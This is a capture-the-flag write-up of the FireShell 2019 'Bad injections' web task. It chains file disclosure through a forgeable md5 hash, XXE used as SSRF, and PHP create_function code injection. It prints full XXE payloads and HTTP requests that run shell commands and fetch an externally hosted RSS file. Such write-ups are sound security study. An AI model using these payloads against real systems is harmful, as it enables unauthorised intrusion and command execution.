<-- home

FireShell 2019 / Bad injections

Hello guys , i would like to share with you my solution for this web task

So this task’s solution contains 3 parts (LFI->XXE->RCE) each part will allow us to move to the next stage until we get the FLAG

By accessing to the task url, we can see a menu with some actions

When we look at the html source codem we can notice a link used to download this files

So each file can be downloaded using this url schema

http://68.183.31.62:94/download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297

1-file : will be the file location  
2-hash : for now its md5 hash (we do not know how this hash generated )

By doing some recon stuff in order to get more informations about this task, I found out that nothing is important for us (except the download link)

I tried to exploit it using hash length attack but no chance (not part of this challenge)

Then I noticed this:

$_GET('hash') == md5($_GET('file'))

which means for now we can load any file we want (if we know the location of course) PART1

As there is 2 files on the web app , we tried to check the second one

http://68.183.31.62:94/download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b

Download this file we got this

Ok looks like there is something for us here

<b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />

Using the first part we can read this file

download_lfi

Here we know its the file used to download in part1

By digging more I managed read more files, the content of index.php is as follow:

index

We know for now that we have many other folders (Controllers / Views / Classes / files)

But also there is a file named “Routes.php” referenced in index.php that can help us to move on

By reading this file we found all routes and also what we need to do next (stage 2)

routes_xxe_rce_admin

The two important parts (/custom & /admin), lets read them (Custom.php & Admin.php )

custom_xxe

from the first look we confirm we have XXE on /custom route

xxe

OK here we can said why we don’t migrate from XXE->RCE , but no we can’t because wrappers like “expect” disabled on the server side so we can only read files or exploit SSRF to request internal app PART2

OK! lets move to Admin.php code

admin_rce

Ugly code, but we need to understand it So here this code :

1-wait two arguments ($url & $order) ==> $url should be xml file
2-Read xml file (RSS) and try to load it on $data array
3-Then usort this array using new function (creeat_function) witch use our $order argument to compare two rows
4-Print back custom html code 

By reading this code we confirm we have RCE (create_function can be used to injection php code ) PART3

because create_function is an eval call which does the following :

function create_function($args, $code) {
  eval("
    function lambda_1 ($args) { $code }
  ");
  return 'lambda_1';
}

But wait !! we forget the routes part !

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

We can only call sort function (where we have create_function ) only if we request /admin from local

Yes we can :D , we already have XXE which means we can make this possible by exploit SSRF vuln and load /admin route from there :)

We prepare simple rss file to be parsed as /admin route request 2 arguments on of them should be XML file

<?xml version="1.0" encoding="UTF-8" ?>
<rss>
<channel>
  <item>
    <link>/xml/xml_rss.asp</link>
  </item>
  <item>
    <link>/xml</link>
  </item>
</channel>
</rss>

we can simply host this content on https://pastebin.com/

Then next step we just need to prepare the XXE payload

link,$b->link); } system("ls /"); //
POST /custom HTTP/1.1
Host: 68.183.31.62:94
Content-Type: application/x-www-form-urlencoded
Content-Length: 412

<!DOCTYPE foo [
<!ELEMENT foo ANY><!ENTITY out SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/admin?rss=https://pastebin.com/*****&order=link%2C%24b-%3Elink%29%3B%20%7D%20system%28%22ls%20%2F%22%29%3B%20%2F%2F">]>
<root><name>&out;</name></root>

Using this one we get that there is flag file /da0f72d5d79169971b62a479c34198e7 , so we change our payload .

Final payload for the code injection

link,$b->link); } system("cat /da0f72d5d79169971b62a479c34198e7"); //
POST /custom HTTP/1.1
Host: 68.183.31.62:94
Content-Type: application/x-www-form-urlencoded
Content-Length: 412

<!DOCTYPE foo [
<!ELEMENT foo ANY><!ENTITY out SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/admin?rss=https://pastebin.com/*****&order=link%2C%24b%3Elink%29%3B%20%7D%20system%28%22cat%20%2Fda0f72d5d79169971b62a479c34198e7%22%29%3B%20%2F%2F">]>
<root><name>&out;</name></root>

And Yes we got our FLAG :

f#{1_d0nt_kn0w_wh4t_i4m_d01ng}